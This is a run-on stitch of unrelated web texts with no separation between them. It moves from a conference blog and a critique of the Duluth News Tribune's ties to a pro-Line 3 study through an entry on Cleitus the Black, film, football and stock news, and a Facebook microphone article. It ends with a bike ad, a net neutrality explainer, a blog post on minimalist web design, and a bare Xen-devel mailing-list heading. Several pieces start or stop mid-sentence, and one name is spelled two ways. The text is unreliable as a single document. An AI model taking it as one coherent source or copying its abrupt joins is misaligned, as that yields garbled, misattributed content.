By the way, and just to prove to those I told at ASPO that I was going to kick some tires that were a whole lot bigger than I, this is a snapshot of one of the haul trucks in the main hall. There were several parked, one beside the other down the room. They may each hold up to 400 tons of rock.
There was one final booth that I wanted to comment on and this was the EcoShale booth, describing plans for mining the Utah oil shale. However because of the details of the process, and the complexity of my discussion of it, I will put that off until another post.
For now I am taking my weary feet and heading back home, and will there try and put together a summary report for the week, to appear soon..
The Duluth News Tribune has some explaining to do.
The leading print news source in the Duluth region has twice published editorials (here and here) sympathetic to Enbridge’s Line 3 pipeline, which is being hotly debated in Minnesota. It’s also published three op-eds by corporate pipeline backers: one by an Enbridge manager and two (here and here) co-authored by leaders of APEX, a Duluth business coalition.
All five of these pieces cite the jobs and economic impact numbers from an April 2017 study published by the University of Minnesota Duluth to make the case for Line 3.
There’s just one problem: the editorials and op-eds never disclose that the Tribune is a member and funder of APEX, who paid for the report on behalf of Enbridge. The publisher of the Tribune, Neal Ronquist, even sits on the APEX board of directors.
Even more, Enbridge and UMD are also members and funders of APEX. An Enbridge representative and two UMD representatives – including the Chancellor – sit on the APEX board alongside the Tribune’s Ronquest.
In short: the Tribune has repeatedly promoted, or allowed others to promote, a very questionable study that was commissioned by an interested party that the Tribune itself funds and directs alongside Enbridge and UMD.
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The Tribune’s failure to disclose this in its two editorials represents an ethical and professional lapse. Readers trying to make up their minds about the Line 3 pipeline deserve to know if their news source has organizational and financial ties to the studies it cites.
One reason is because conflict of interest disclosures help consumers of news judge the extent to which the information they’re receiving is biased. This becomes especially important when big, consequential issues arise – like the Line 3 debate – that people need to form opinions on.
The three pro-Line 3 op-eds that cite the UMD study raise other problems. That the Tribune published these viewpoints is not the issue. Newspapers have the right and responsibility to present readers with a range of perspectives in the opinion pages.
But when the Tribune publishes multiple op-eds by APEX leaders and Enbridge that cite the UMD study, and there is no accompanying disclosure of the fact that APEX paid for that study and that the Tribune is a member of APEX alongside Enbridge, it could lead one to think that the Tribune is in on some kind of scheme. It starts to seem like one big echo chamber exists that Enbridge, APEX, UMD, and the Tribune are all part of.
One could also add Minnesota Power, a regional utilities company, to this group. According to documents from 2013, Minnesota Power and its parent corporation Allete have an “Electric Service Agreement” whereby Minnesota Power provides “electric service requirements” for Enbridge’s “pipeline facilities.” Minnesota Power is also a member, funder, and director of APEX.
But none of this is disclosed in the June 11, 2017 Tribune op-ed co-authored by Nancy Norr that cites the UMD study in support of Line 3. Norr is the director for regional development of Minnesota Power as well as the immediate past board chair at APEX. She is also the director and board chair of “Jobs for Minnesotans,” an astroturf group that has been promoting Line 3.
Readers deserve to know if an op-ed writer has a vested interest or a funding relationship to sources they cite. They also deserve to know if the media source that’s giving a platform to given voices and interests has material and organizational ties to them.
With such high stakes involved in the debate over the Line 3 pipeline, the Tribune’s readers, now as much as ever, need transparency in their media to be able to detect bias and form informed opinions.
We made some recommendations for the Tribune at the end of our report on the UMD study that we think can help the paper regain public trust:Cleitus (Clitus) the Black (Greek: Κλεῖτος ὁ μέλας; c. 375 BC – 328 BC) was an officer of the Macedonian army led by Alexander the Great. He saved Alexander's life at the Battle of the Granicus in 334 BC and was killed by him in a drunken quarrel six years later.[1][2] Cleitus was the son of Dropidas (who was the son of Critias) and brother of Alexander's nurse, Lanike.
Battle of the Granicus [ edit ]
At the Battle of the Granicus in 334 BC, when Alexander was personally under attack by Rhoesaces and Spithridates, Cleitus severed Spithridates's hammer arm before the Persian satrap could bring it down on Alexander thus saving his life.[3][4]
The death of Cleitus [ edit ]
The quarrel between Alexander and Cleitus
In 328 BC Artabazos resigned his satrapy of Bactria, and Alexander gave it to Cleitus.[5] On the eve of the day on which he was to set out to take possessions of his government, Alexander organized a banquet in the satrapial palace at Maracanda (what is now the town of Samarkand). At this banquet an angry dispute arose, the particulars of which are disputed by various authors.
Most of the members were rather drunk, and Alexander announced a reorganization of commands. Specifically, Cleitus was given orders to take 16,000 of the defeated Greek mercenaries who formerly fought for the Persian King north to fight the steppe nomads in Central Asia.
Cleitus knew that he would no longer be near the king and would be a forgotten man. Furious at the thought of commanding what he saw as second-rate soldiers and fighting nomads in the middle of nowhere, he spoke his mind. To make matters worse, when Alexander arrogantly boasted that his accomplishments were far greater than that of his father, Phillip II, Cleitus responded by saying that Alexander was not the legitimate king of the Macedonians, and that all of his achievements were due to his father. Alexander called for his guards, but they did not want to intervene in a quarrel between friends.
Alexander threw an apple at Cleitus' head and called for a dagger or spear, but the party near the two men removed the dagger, restrained Alexander, and hustled Cleitus out of the room. The Hypaspists had conveniently left the vicinity of Alexander. Alexander then called for his trumpeter to summon the army; the alarm was not sounded. Nevertheless, Cleitus managed to return to the room to utter more grievances against Alexander (it is possible that Cleitus had not even left the room). But sources agree that at this point Alexander got hold of a javelin and threw it through Cleitus' heart.[2]
In all of the four major known texts, it is shown that Alexander grieved for the death of Cleitus. Alexander may have genuinely not wanted to kill Cleitus. However, Cleitus was a member of Philip II's generation and Alexander had been removing that generation from power to keep his own peers in power.
The motives of Cleitus in this quarrel have been interpreted in various ways. Cleitus may have been angered at Alexander's increasing adoption of Persian customs. After the death of King Darius III, Alexander was legally King of the Persian Empire. Alexander was now employing eunuchs and was tolerant of such Persian customs as proskynesis, which was considered degrading by many in the Macedonian army.
Cultural references [ edit ]
Cleitus, as Clito, appears as a character in Handel's opera Alessandro.
The American poet John Berryman recounts the tale of "Kleitos" in his thirty-third "dream song."
The death of Cleitus at Alexander's hand is depicted in a scene of the film Alexander.
Cleitus' death is also described in Mary Butts' 1931 novel The Macedonian.WARNING: This post contains MINOR SPOILERS for Captain America: Civil War
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Phase 3 of the Marvel Cinematic Universe is right around the corner, with the theatrical premiere of Captain America: Civil War just under a month away. The film has already been screened for members of the press, and the early reactions are very positive. People have praised its handling of complex thematic and emotional material as well as its portrayal of its large ensemble cast. One of the biggest takeaways was that the latest big screen incarnation of Spider-Man was a standout, a great development for those excited to see the web slinger be a part of the MCU.
Actor Tom Holland was officially brought on board fairly late in the game, being announced as the new Peter Parker in June 2015 when Civil War was well into principal photography. Though it was known he would be a part of an MCU installment before his own solo vehicle in July 2017, it remained to be seen how large Holland's role in the third Captain America would be. Now, the character's amount of screentime has been revealed, and it could be more than some viewers expected.
@MarvelousRealm That's about right. Maybe 10 mins of Parker, a good 20 mins of Spidey.
— Mike Sampson (@mjsamps) April 9, 2016
Depending on how Peter is developed, half an hour should prove to be the perfect length for his introduction. Directors Joe and Anthony Russos' main goal was to establish the Web Head in this universe before he got fleshed out in later films, and it sounds like they were able to do just that. Obviously, Spider-Man is not a main character in Civil War, but moviegoers will most likely be able to get a good read on the latest version and how Holland's take differs from its predecessors. It's nice to know that Peter isn't just a tacked on addition and has a substantial part, meaning his inclusion in the film is warranted and will ideally add some value to the narrative.
What makes this even more exciting is that there's still so much of Spider-Man fans have yet to see. He's had an extremely limited presence in marketing, appearing only at the end of the second trailer. While Marvel will plausibly include some Spidey action shots in upcoming TV spots, they don't need to go overboard on pushing that aspect of Civil War and largely hold Parker back. The focus of the promotional campaign has been the rift between #TeamIronMan and #TeamCap, relying on years of audience investment with those characters to carry necessary emotional resonance. Moviegoers are sold on that premise, with or without the inclusion of Spider-Man. Having Your Friendly Neighborhood show up is just a pleasant surprise in what was already one of 2016's most anticipated films.
It'll be interesting to see how exactly Spider-Man factors into the story. As rumors have suggested, Peter is a new ally of Tony Stark's and is part of his group during the airport "splash page" sequence (evening the matchup to 6-on-6). Why Stark recruits the wall-crawler and how their dynamic evolves are elements being saved for the film, but it's easy to see why Parker would be drawn to Iron Man. Peter and Tony are two of Marvel's best scientific minds, and seeing them interact in a mentor/mentee capacity has the potential to be a treat. Hopefully, Holland shares a few scenes with Robert Downey, Jr. and viewers get to see Tony form a bond reminiscent of his friendship with Bruce Banner in The Avengers. That would be a great way to bring Peter Parker into the fold and set him up for years to come.
Captain America: Civil War will release on May 6, 2016, followed by Doctor Strange – November 4, 2016;Guardians of the Galaxy 2 – May 5, 2017; Spider-Man – July 7, 2017; Thor: Ragnarok – November 3, 2017;Black Panther – February 16, 2018; The Avengers: Infinity War Part 1 – May 4, 2018; Ant-Man and the Wasp– July 6, 2018; Captain Marvel – March 8, 2019; The Avengers: Infinity War Part 2 – May 3, 2019; Inhumans– July 12, 2019; and as-yet untitled Marvel movies on May 1, July 10 and November 6, 2020.
Source: Mike Sampson
KFC's Newest Colonel Sanders is... Robocop!?Arsenal target Javi Manquillo has reportedly pulled out of a move to Marseille so that he can wait for Arsene Wenger to swoop for his services.
According to the Daily Express the young full-back was virtually all set to move to Ligue 1 on a season-long loan which included the option of a permanent deal at the end of it. However the player himself has now opted out of the agreement, as he harbours hopes of instead moving to England this summer, as Wenger looks to strengthen the right-back position following the sale of long-term servant Bacary Sagna.
Manquillo’s ability
The 20-year-old is said to be seen by Wenger as an ideal addition with regards to increasing his squad depth, particularly in the wake of rumours which indicate Arsenal are close to landing Newcastle’s Mathieu Debuchy. Having started his career at Real Madrid Manquillo made the move to Atletico in 2007 to increase his chances of becoming a La Liga regular.
However the Spaniard has struggled for regular game-time in Diego Simeone’s galvanised squad, and Juanfran largely ensured that he spent the majority of last season sitting on the bench.
Related articles
- Sami Khedira transfer to Arsenal in doubt?
- Nicklas Bendtner in talks over Aston Villa move
- Jackson Martinez admits interest - Arsenal ready to pay £35m
Arsenal’s need
With Sagna now having signed on the dotted line at Manchester City, Wenger has been left to find an adequate replacement in a fairly niche position. Though a deal for Debuchy would allay most fears that the Gunners will be caught short on the right hand side of their defence come the first day of the new season, fans would be far more at ease knowing that the Frenchman also had a deputy more than capable of slotting in if needed.
Currently Wenger can call upon Carl Jenkinson and, in extreme cases, Thomas Vermaelen, but with the Belgian international poised to follow Sagna out the exit door, and question marks remaining over Jenkinson’s ability to cut it at the highest level, the 64-year-old will know that opting to stick with what he has would attract criticism.
La Liga invasion at the Emirates
Of course Manquillo isn’t the only La Liga name to be linked with north London this summer as Wenger seeks to build on last season’s F.A Cup triumph by flexing his financial might. Reports claim a £32million deal for Barcelona’s Alexis Sanchez will be finalised imminently, whilst a €30million proposal has been submitted to Real Madrid in order to gauge their interest in selling Sami Khedira.
Arsenal fans, are you happy with the transfer activity so far? Or would you like to see more from Wenger?Text size
Does SoftBank (9984JP) to buy the remaining 15% or so of Sprint (S) it doesn’t already own?
A possibly material question for Sprint investors, as Walter Piecyk of BTIG Research today opines that open-market purchases of Sprint shares by SoftBank of late have helped to “prop it up,” keeping the stock from falling below $6. Sprint today is at $6.10, down 5 cents.
There’s an 85% threshold of ownership above which chairman Masayoshi Son has said he doesn’t intend to go. But things can change, so Piecyk asks whether Son would change his mind.
That’s the question pondered today by Walter Piecyk of BTIG Research, after taking note of the fact the company recently was in a frenzy of share buying and then stopped.
After Sprint (S) dropped sharply on the announcement earlier this month it and T-Mobile US (TMUS) ended their talks to merge, SoftBank stepped in and bought 4.3 million shares in one day, and then made further purchases of 17.0 million shares, over the course of eight days.
Then, writes Piecyk, SoftBank stopped and hasn’t done anything for the past seven trading days.That, he writes, leaves SoftBank with the ability to buy another 58 million shares before it would hit the 85% limit.
Piecyk goes through a list of reasons why there seems little to be gained from owning all of Sprint. SoftBank already reports Sprint’s results in its filing, so that wouldn’t change. And $4.9 billion it would cost to buy the remaining chunk could be better spent on things like Son’s “Vision” fund for cutting-edge tech.
"It’s not clear what the incremental value of owning all of Sprint would be to SoftBank, other than its view of buying what it believes is an undervalued asset,” he writes.
As for Sprint, “We believe the downside from here is material,” writes Piecyk. He has a valuation of $4 per share for Sprint, based on 7.5 times what he thinks Ebitda may be in 2019.
"it will be more challenging for Sprint to remain above $6 per share without SoftBank’s open market purchases or an outright tender for the stock,” concludes Piecyk.
Piecyk opines T-Mobile is the better of the two as far as playing the U.S. wireless market:
SoftBank may have helped stabilize Sprint’s stock, but T-Mobile’s stock has performed much better since deal talks were called off. The ratio of T-Mobile’s stock price to Sprint is now over 10:1 and we expect that to widen further. The movement of the current ratio is an affirmation of Deutsche Telekom decision to remain firm on price and control demands. The 10:1 ratio is much higher than the press reports during the negotiation that referenced an “at-market” deal ratio of 8:1. We previously discussed why any ratio tighter than 10:1 was too generous to Sprint shareholders, even factoring in the synergy opportunity of the merger. We believe a standalone T-Mobile is worth $84 by the end of 2018.
T-Mobile stock today is down $1.31, or 2%, at $61.47.
See also: T-Mobile To Benefit from Collapse of Sprint Deal, Says Moffett Nathanson, November 27th, 2017.Facebook wants to hear what you have to say. Literally.
Professor Kelli Burns claims to have tested a hunch that the social media giant's mobile application is listening to everything you say and providing ads based on that content, and discovered it was true.
The mass communication prof at the University of South Florida, with the help of telly journalists, has verified the fact that Facebook's mobile app grants itself access to your microphone by talking about a holiday she wanted to take.
"I'm really interested in going on an African safari. I think it'd be wonderful to ride in one of those jeeps," she said out loud with her phone in hand. According to the NBC report, under a minute later, the first story in her Facebook feed was about a safari. And a car ad soon appeared on her page.
Of course, the "evidence" is purely anecdotal, and as soon as the report spread, Burns has walked back her claim, saying that she may have been searching online for the same things she said out loud – in which case Facebook may be reacting to other data it has picked up on her habits.
It may also be worth noting that before Professor Burns became an academic, she spent seven years in corporate marketing and the course she teaches is the "principles of public relations."
Access all areas
Facebook's app access to a phone's microphone is fact, and, critically, it now appears to be turned on by default, meaning you have to dig into your phone's innards to disable it.
This is not the first time Facebook has faced this charge: last year it was also accused of listening to people and selling ads in response. It said at the time that users had to turn the microphone on. But that may have changed subsequently, since most users find their microphones are on as a default for the Facebook app.
Facebook says this about its use of the microphone: "We use your microphone to identify the things you're listening to or watching, based on the music and TV matches we're able to identify."
It also points out that it doesn't record conversations – although it doesn't need to actually record conversations, of course, to act on them and relay "relevant ads." And last year it claimed that listening was limited only to when you are writing a Facebook update.
In response to Burns' report and other similar anecdotes reported online, the company has denied using what you say to place ads or impact your news feed. It said: "Facebook does not use microphone audio to inform advertising or News Feed stories in any way. Businesses are able to serve relevant ads based on people's interests and other demographic information, but not through audio collection."
Of course, it is possible to parse that official response and question what Facebook's definitions of "inform" and "collection" are.
Comparison
Unlike other better-known voice services such as Apple's Siri and Amazon's Echo, Facebook has given itself far greater control over what it can do with your microphone. Its explanations also follow a familiar trend of Facebook responses: vague policies, followed by clear denials, followed by a new set of policies.
Apple's Siri assistant can listen to you any time, but there are three significant differences between it and Facebook.
First, it waits for its "wake word" – in this case "Hey, Siri." Second, it is turned off by default. You have to activate it and then carry out four voice tests before it turns on. And third, it only works when plugged in (although Apple has reportedly considered turning off the plugged-in restriction).
Likewise, Amazon's Echo technology listens for a wake word before carrying out any analysis – in its case, "Alexa." Amazon is also upfront about its collection of audio and allows you to delete recordings plus play around with settings.
A turn off
Facebook, on the other hand, gives itself access to your phone's mic – seemingly by default despite earlier claims – and is capable of always listening and does not tell you what it does with the information it receives.
None of this should comes as a surprise to people: Facebook has repeatedly given itself access to people's personal data and then begged forgiveness afterwards.
It continually tweaks its privacy settings, requiring people to keep making changes to prevent the company from sharing the information you provide. And whenever there is an uproar, it announces small changes that require people to actively change their settings again. Most don't.
Facebook claims the feature is good for users because it makes it easier and faster for you to post about what's going on around you. If that's a persuasive argument for you, continue on, but for everyone else the answer is to go into your phone's settings and manually prevent your Facebook app from accessing your microphone.
How to turn it off
iOS: Settings > Facebook > Settings > Microphone.
Android: Settings > Privacy and emergency > App permissions. Find Facebook and turn off mic access. ®Story time:
One time, many moons ago, when attempting a corked backflip, Jarrett Moore was distracted by a dachshund licking itself near the side of the trail. He over-rotated the flip, and hit his Rocky Flatline frame on a nearby tree. The frame instantly shrunk, the linkage simplified itself, the coil shock became a Roco air, and he lost half the bikes travel.
And so, the Slayer slopestyle was born.
The next week, Rocky started producing the Slayer SS for team riders only. Since then this bike has been fodder for the wet dreams of pinkbike groms everywhere.
...until today.
Now, your fantasies can become reality! This one-of-a-kind slayer SS (team only!) edition bike can be yours, for the low, low price of $2500 CAD.
As the ermagherd girl would say, "[i]Ermagherd[/i]!"
You should already know what this bike is all about... it's basically the bastard lovechild of a flatline and a flow dj. 23" TT
Suspension is Marzocchi, wheels are DT, the rest is mostly Shimano SAINT.Conor McGregor Shut Your Fat Mouth, Trump... Ronda Will Be Back
UFC Champ Conor McGregor: Shut Your Fat Mouth, Donald Trump... Ronda Rousey Will Be Back
Donald Trump has been warned -- pop off again about Ronda Rousey, and you just might have to deal with UFC champ Conor McGregor!
The featherweight title holder was at LAX Monday, talking about a Ronda comeback -- whether she can get her title back from Holly |
’s MCs. Wu-Tang Clan mastermind RZA compared the storyline to “the journey of the black man in America” in his 2009 book, The Tao Of Wu. Young Thug doodles Goku-inspired sketches to propel his rhyme writing. And Big Sean was trolled by a Complex editorial about the show back in 2015.
The series took a two-decade hiatus in 1997, with the conclusion of Dragon Ball GT. While there have been sequel movies (2013’s Battle of Gods and 2015’s Resurrection F) weekly episodes of the series have finally returned to American TV this month under the name Dragon Ball Super—Danny Brown’s “Aint It Funny” plays in the show’s teaser clip.
To celebrate the arrival of Dragon Ball Super, Genius looked back on the intersection between the classic series and hip-hop over the years. Check the graph above to see how often Dragon Ball is referenced in song lyrics. Then peep the abridged timeline below for a look at some of the standout lyrical and musical references.Net Neutrality for Beginners: It’s Important
Austin Hale Blocked Unblock Follow Following Nov 22, 2017
Whoa! The internet is angry. Twitter, Reddit, Facebook, YouTube — everyone seems to be talking about net neutrality. What’s the big deal? Why do you keep seeing this red image posted with “URGENT” everywhere?
Yesterday, the Federal Communications Commission announced that they plan to vote on December 15th to remove internet protections that were implemented in 2015. These protections essentially told ISP’s (companies like Comcast, Time Warner, AT&T, Cox, Verizon, etc.) that they had to treat internet connections equally with no discrimination.
Why Should I Care?
Here’s what the future will likely look like:
You will pay for Internet like you pay for cable TV — packages for certain websites, paying extra for others
You will have a cap on your home internet, like you have on your phone plan
Certain websites will be slower than others based on the deals they make to pay Comcast, Time Warner, etc.
New technology companies trying to get started wont’ be able to compete with existing companies that have special deals to get access to consumers
Existing companies (Netflix, YouTube, etc.) won’t be able to create new features, like 4K streaming
Current Regulation
Currently, the internet falls under a similar ruling to what we have for other utilities in the U.S. There are regulations for connecting to the electric grid. The electric company gives you access to the grid and they charge you monthly for that access. They aren’t allowed, however, to discriminate what appliances are allowed to use that electricity. Imagine if they could charge extra for powering a Samsung brand washer & dryer because General Electric had made a deal with them on the side.
That’s why the Net Neutrality protections are so incredibly important. The internet has grown up. It’s no longer the Wild West. We have established ISP’s (Comcast) that own monopolies in many regions of the U.S. Oh you don’t want to pay $100 a month for sub standard internet? Too bad. You only get to choose them. They want to limit how many Netflix shows you can watch a month? Too bad. You have nowhere else to turn.
What About Free Market Regulation!?
In America, we like the idea of a free, hands off (laissez-faire!) market. Market economies work incredibly well for many, many things. As an example, 2017 has been a great year for consumers for groceries. Amazon, Walmart, and Kroger have been driving prices to the bottom of the barrel in an effort to take market share from one another.
One argument of people opposed to Net Neutrality is that the free market will regulate the issue. If Comcast or Time Warner becomes too evil, other smaller ISP’s will be able to get started and compete. People will flock to them and give business to ISP’s who offer a better, more neutral internet. It’s like the electricity example I gave earlier. People can easily create their own electric company and have their neighbors switch to that, right?
Unfortunately, this will very, very likely not be the case.
The issue is that, like an electric grid, it’s incredibly expensive to create an ISP. It’s so expensive in fact that many of the existing companies have received an insane amount of money (tax breaks, subsidies) from the U.S. Government.
This is further complicated by the fact that it may be feasible for some areas to have multiple competitors but it leaves poor, rural areas in the internet dark ages. Oh you’re poor? Looks like you only get the monopoly that offers Fox News & Breitbart News as part of the basic package… or the reverse side of that package, CNN & Huffington Post. Think we have a problem with ideological echo chambers now?
ISP’s Fight Dirty
Remember when everyone was excited about Google Fiber? Governors, mayors, and other local politicians were begging Google to come install Fiber in their cities. Did you know that ISP’s fought Google tooth and nail for every single inch of territory where Google tries to provide service?
Remember what ultimately happened? Google paused the roll out in 2016. If Google’s legal team can’t fight successfully, what chance does a small start up have against the monopolies?
Recently, Fort Collins, Colorado — a small community decided they’d had enough with the monopolies and they would build their own community network. Not so fast! The ISP’s aren’t giving up without a fight. Instead of trying to compete on price or service, they spent $451,000 trying to defeat the ballot measure. Luckily, Fort Collins saw through that effort and passed it anyways. I’m sure their fight isn’t over.
The Internet Was Free Before
Pre 2015, things were just fine. We can go back to that level of regulation and be fine. Right? Unfortunately no, we can’t. Things weren’t protected and there were many cases of ISP’s trying to be evil. That’s why we implemented the protections in the first place.
American Dream
The United States has been known as the land of opportunity for generations. It has an incredibly streamlined process for creating businesses, a tested form for shielding entrepreneurs from business risk, and overall an absolutely incredible ecosystem that fosters innovation. I am proud to be an American and I’m proud of the system we’ve created to encourage this growth.
Removing Net Neutrality is a poison to this vision. Let’s think through an example for a minute. A very realistic example.
Net Neutrality protections are removed
Comcast, Cox, AT&T, Verizon, etc. immediately implement data caps across the country
YouTube and Netflix are forced to pay $100+ Million a year in a special deal to make their traffic not count toward consumer data caps
Note: This is only partially hypothetical. They are already successfully pushing this forward all over the country. Here’s a screenshot I took this morning from my own ISP, Cox in Phoenix. They implemented this data cap without notifying me. I will now be charged for any “extra” internet I use over my cap.
T-Mobile is already ahead of the pack in this regard. They have special deals with certain music providers that won’t count towards your data caps.
Now, ask yourself, “How does this affect American entrepreneurs?”
Netflix and YouTube will be fine. They can afford the fees. How about the next new service started in someone’s garage? How are they going to compete? They can’t afford to pay for a special deal with T-Mobile, Comcast, Verizon, etc. No one will be able to use new, innovative services because they they are pigeon holed into using services that don’t count towards their data caps.
International Effects
If you’re international, you may be thinking, “This has nothing to do with me. Sucks to be you guys!” (Unless you’re Portugal where you’ve already lost the fight and this already happening.)
You’re wrong. Even if your regulators see past the lobbying dollars and manage to not be corrupt (good luck). You’re still affected by the way that it will shape services all over the globe.
The U.S. is an incredibly lucrative market for both domestic and international companies. Any company looking to do business with U.S. consumers will need to weigh their innovative ideas against the fact that U.S. consumers will have limited bandwidth to utilize their inventions. It will stifle innovation worldwide.
What can I do?
I’m not going to lie. We’re pretty screwed right now. There are 5 people at the FCC who will vote on repealing these protections. 3 of the 5 have already said they will repeal the protections on December 15th. There is a very, very good chance they are already bought and paid for. We’re going to lose that vote.
That doesn’t mean the fight is over though. We need an act of Congress. We need long term protections enshrined in law. The only way for that to happen is to educate the masses and create political will.
First, learn why this issue is important. Second, help other people to understand why this is important. Finally, contact your representatives and tell them how you feel.
Visit https://www.battleforthenet.com/ or text “RESIST” to 50409 if you need help contacting them.Minimal
Back in March when I read about Ryan Tomayko’s redesign, I had two immediate reactions:
Wow, that’s hardcore! I should try that myself sometime.
Of course, at the time I was busy working on a book and so couldn’t really spare much effort for doing redesign work. Once that was in its final stages, though, I sat down and started thinking about what I could do to reduce the amount of cruft hanging around my weblog. Many revisions later, I have something I’m close to being happy with; of course, I don’t think it’ll ever be perfect or finished (I’ve been tweaking bits off and on this evening, and plan to do so for quite some time to come), but at least I’ve got something I’m not totally embarrassed to throw out in public.
Since it’s a bit of a radical departure from what I’ve done previously, and from established norms for weblogs, let me take a moment to explain how I ended up here.
Minimizing
In any sort of discussion of minimal or minimalistic design a certain quote, attributed to Antoine de Saint Exupéry, is inevitably bandied about:
A designer knows he has achieved perfection not when there is nothing left to add, but when there is nothing left to take away.
At first this seems like a brilliant insight into the heart of the design process, but it really turns out to be bullshit. because the point at which there is nothing left to take away is the point at which there is nothing left, period. For example, I’m working in HTML 4.01 Strict here (more on that in a later article). Here’s a valid HTML 4.01 Strict document from which nothing can be taken away:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <title></title> < p>
Remove the DOCTYPE and you no longer have any assurance that it’s HTML 4.01 Strict (in fact, relying only on a PUBLIC identifier is a bit risky from a legacy- SGML perspective). Remove the title element or the lone p element, and the document is no longer valid. Everything else in HTML 4.01 Strict is optional and so can be taken away. Of course, I could take away the requirement of valid HTML, but at that point I’d probably just declare that the Web which can be expressed in angle brackets is not the true Web (it isn’t, by the way), renounce my worldly possessions and move into a Taoist monastery.
I mention this not because it’s any sort of earth-shattering revelation, but simply because it’s important to recognize that minimalism for minimalism’s sake is just dumb. Like any other design tool, it should be a means to an end.
The thing that’s useful about reaching the point of absolute minimalism, then, is not that it’s the point at which you’ve achieved perfection, or even anything resembling your end goal. Rather, it’s the point at which you realize which of the things you’ve removed were actually important, because their absence brings them into stark focus.
And I ended up focusing maniacally on one thing.
It’s about the content
The big take-away from Ryan’s redesign, for me, was a much stronger focus on content, and a de-emphasizing or removal of anything that wasn’t content. This meant a lot of traditional design elements, such as a header/logo, sidebars, etc. immediately went out the window in favor of a simple, single-column layout. There’s no logo, no header and no sidebar. A paragraph’s worth of metadata which used to be present in the sidebar of every page has disappeared, replaced with a much smaller interstitial line of metadata which now (in the absence of dedicated elements in the page for this purpose) does double duty as an aid to navigation.
The primary goal I had in mind as I was working on the redesign was simple: put content in front of people’s eyeballs. This is somewhat tricky because in order to be useful a blog site needs to have a variety of pages which aren’t, strictly speaking, content: archives and topical indexes, for example. Rather than being content, these pages are ways to reach content, and so they should be designed so that you’ll leave them as quickly as possible. This means that all such pages are extremely heavy on direct links to “content pages” and suggest ways to quickly navigate to things you might want to find. In general, I’ve tried to ensure that each “non-content” page (and many “content” pages, as well) supports the following navigational directions: “up”, “down”, “back”, “forward”, “fast forward”.
To take an example, have a look at the archive of entries published in April of this year. All of these navigational directions are present:
“ up”: In the interstitial line below the page title is a link to the archive for all entries published this year.
In the interstitial line below the page title is a link to the archive for all entries published this year. “ down”: Each entry in the archive offers a direct link to its page.
Each entry in the archive offers a direct link to its page. “ back”: In the interstitial below the entry list is a link to the previous month’s archive.
In the interstitial below the entry list is a link to the previous month’s archive. “ forward”: Also in that interstitial is a link to the next month’s archive.
Also in that interstitial is a link to the next month’s archive. “ fast forward”: In the interstitial below the page title is a link to the archive of latest entries.
All except the “down” and “fast forward” links are also exposed through appropriately-marked link elements in the head of the page. I don’t know of a lot of tools which actually support browsing with those, but if you have one and you use it, the links are there for you (I’ve always snuck a variety of stuff into link elements, though, so it’s not really a new feature).
Additionally, once you reach the “top” of a given area of the site (e.g., the archive of latest entries), the first interstitial switches to suggesting alternate areas you might be interested in, such as topical browsing by category (which you can also reach from any individual entry’s page) or browsing through links.
And, taking a cue from Maura, I’ve also been adding meta tags with noindex,follow declarations on archive pages; hopefully this will weed out any irrelevant search results which would send people to those pages, and help drive people directly to content pages instead.
All of this goes toward the goal of getting you off these “non-content” pages as quickly as possible.
The primary exceptions to this navigation scheme are things that aren’t entries or links, like the “about” page. They don’t form any linked or hierarchical structure, so the interstitials on those pages simply suggest some related pages or places you might want to go, and will often land you in an area with richer navigation patterns.
How I learned to stop designing and love typography
Of course, this content focus ended up posing a challenge: without relying on non-content-based design elements, how do you differentiate logical areas of a page or types of content?
With one exception (single-pixel horizontal lines which act as dividers in certain contexts; I feel a bit bad about giving in on those, but I’m not quite that hardcore yet), I’ve decided to solve this entirely with typography; while this isn’t and shouldn’t be news, you can do quite a lot using nothing more than simple typographic effects. For example, many people set off blockquotes by adding background colors, borders or large quotation-mark images; instead, I’ve just added a bit of margin, and changed the font from Helvetica to italic Georgia.
While I was doing the design work, I spent a lot of time curled up with Richard Rutter’s adaptation for the Web of Robert Bringhurst’s classic The Elements of Typographic Style, and ended up implementing a lot of its recommendations. All of the typography is set to a baseline grid (with measured intervals, and with implementation helped by useful pointers from Wilson’s ALA article on the subject), and variations in margins as well as font face, size, style and weight implement practically every design element you’ll see here.
Along the way, I also bumped up the base font sizes everywhere; the switch to a single-column layout meant that the line lengths for smaller sizes were getting uncomfortable, so a minor tweak (and a corresponding increase in leading) was needed. It may just be me, but the baseline size (14px with a total line-height of 22px) is quite wonderfully readable.
If you’re interested, dig into the CSS and you’ll find a lot of really pedantic stuff that only a typophile could love (and which more accomplished typophiles, which is to say most all of them, could no doubt have done a better job of).
Homeless
All of this leads into what has already been the most adventurous and controversial change: the lack of a ubiquitous “home page” link. At first, I tried to find a way to work it in — for example, in the upper interstitial spot which holds other navigation elements — but it always seemed out of place and I ultimately couldn’t find anywhere to put it that reliably worked on every type of page. And that got me thinking a bit.
There are three primary functions a home page typically serves:
It acts as a “landing page”, the first place people come to when they arrive at the site. It acts as a starting point for navigation, by providing links to useful areas within the site. It acts as a notifier, by prominently advertising any new content on the site.
Now, the first function here — landing page — is largely irrelevant for this site; the overwhelming majority of people coming here end up landing directly on a content page, because they’re almost always coming from a direct link or a search engine.
The third function — advertising new content — is also irrelevant, because feeds do a far better job of that. If you’re still dropping by the home page regularly in search of new content, stop already and get yourself a feed reader (or hit the Django community aggregator instead, since it’s much more active and opens up a much wider range of content).
Which leaves only the second function: home page as navigational gateway. As I’ve already mentioned, I’ve been trying as hard as possible to set up navigational options to keep you off “non-content” pages, and deliberately adding such a page to the various navigational chains (which — I hope — do a better job of helping you get around) didn’t seem to make much sense. Plus there’s already a page which logically should be linked from everywhere — the “about” page — which can logically serve as a jumping-off point to any other part of the site.
So I stopped worrying about where to put a “home page” link, and just left it out. I also spent as much time as possible minimizing the amount of non-content information on the home page, eventually trimming it down to a single line of text at the top. I wouldn’t recommend trying this anywhere else, but for this site and its traffic and usage patterns, I think I like it.
Plus, it’s sort of a neat experiment to see how much a home page is actually used versus how often it’s simply a bit of cruft that people look for but don’t get any practical value out of.
Under construction
Of course, the redesign is still very much a work in progress; there are a number of things I’m still tweaking and refining, and I’ll be paying attention to comments and stats to get an idea of how well the changes are working. If you’ve got an opinion or if you’ve spotted a problem, type it into the comment box and let me know.[Xen-devel] [RFC] Unicore Subproject Proposal
